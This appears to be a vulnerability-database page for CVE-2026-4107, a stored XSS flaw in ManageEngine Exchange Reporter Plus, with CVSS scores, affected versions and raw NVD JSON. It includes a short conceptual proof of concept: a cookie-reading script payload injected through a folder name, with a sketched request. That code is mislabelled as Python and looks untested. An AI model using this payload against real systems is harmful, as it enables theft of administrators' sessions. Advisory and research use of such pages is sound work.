Security Vulnerability Report
中文
CVE-2026-4107 CVSS 7.3 HIGH

CVE-2026-4107

Published: 2026-04-03 12:16:19
Last Modified: 2026-04-03 18:26:35
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Folder Message Count and Size report.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:* - VULNERABLE
ManageEngine Exchange Reporter Plus < 5802

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-4107 // Vulnerability Type: Stored XSS // Affected Component: Folder Message Count and Size report // 1. Payload Injection // An attacker with low privileges injects the following script into a field // that is reflected in the 'Folder Message Count and Size' report (e.g., folder name). var maliciousPayload = '<script>alert("XSS Triggered: " + document.cookie);</script>'; // 2. Simulation of HTTP Request (Conceptual) // POST /exchange-reports/saveData HTTP/1.1 // Host: target-server.com // Content-Type: application/x-www-form-urlencoded // // folderName=' + encodeURIComponent(maliciousPayload) + '&reportType=size console.log('Payload to inject:', maliciousPayload); // 3. Trigger // When an administrator navigates to the 'Folder Message Count and Size' report page, // the application fetches the stored data without sanitization. // The browser renders the script tag, executing the JavaScript in the admin's context. // Result: The admin's cookie is logged or sent to the attacker's server.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4107", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2026-04-03T12:16:19.067", "lastModified": "2026-04-03T18:26:35.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Folder Message Count and Size report."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8", "matchCriteriaId": "7A7FD58A-DC4B-4FBB-B20D-5050A0D321F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "94D09BE3-96E1-432B-9882-D7DF3C070CE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:*", "matchCriteriaId": "CCAB839F-E577-4CBB-9E43-DBC0BECFA8B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:*", "matchCriteriaId": "53414E87-0848-4245-9D58-9A74E550E3CC"}]}]}], "references": [{"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2026-4107.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}